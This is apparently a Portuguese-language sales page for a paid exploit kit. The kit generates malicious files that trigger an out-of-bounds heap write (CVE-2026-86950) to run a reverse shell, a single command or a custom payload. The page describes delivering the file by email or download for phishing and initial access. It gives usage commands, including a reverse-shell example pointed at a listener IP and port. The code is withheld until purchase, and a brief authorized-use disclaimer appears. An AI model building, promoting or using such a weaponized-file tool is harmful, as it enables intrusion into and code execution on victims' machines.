Gera arquivos maliciosos que acionam uma corrupção de heap por escrita fora dos limites (CWE-787) da CVE-2026-86950, com opções de reverse shell, execução de comandos ou payload personalizado.
CVE-2026-86950 (CWE-787).
Gravação fora dos limites durante o parsing de um arquivo especialmente criado. A ausência de verificações de limites nos campos de tamanho/offset permite corrupção controlada do heap quando a aplicação alvo processa o arquivo.
Um atacante não autenticado entrega o arquivo (e-mail, download, compartilhamento). É necessária interação do usuário (abrir/processar). O código é executado com os privilégios da aplicação que faz o parsing.
Útil para campanhas de phishing/spear-phishing de red team, acesso inicial em endpoints e execução controlada de código sem autenticação de rede.
Após a compra você recebe o pacote completo.
Extraia e instale as dependências:
pip install -r requirements.txt
python exploit.py [options]
-o, --output <file> Output malicious file (required)
-p, --payload <type> reverse | cmd | custom (default: reverse)
-L, --lhost <ip> Listener IP (for reverse)
-P, --lport <port> Listener port (for reverse)
-c, --cmd <command> Single command to execute
--arch x64|x86 Target architecture (default: x64)
Exemplo (reverse shell):
python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444
Exemplo (comando único):
python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"
Entregue o arquivo gerado ao alvo. Quando aberto/processado pela aplicação vulnerável, a gravação OOB é disparada e o payload é executado.
Uso apenas autorizado para red team / testes de penetração. O uso não autorizado é ilegal.
Pacote completo disponível somente após a compra.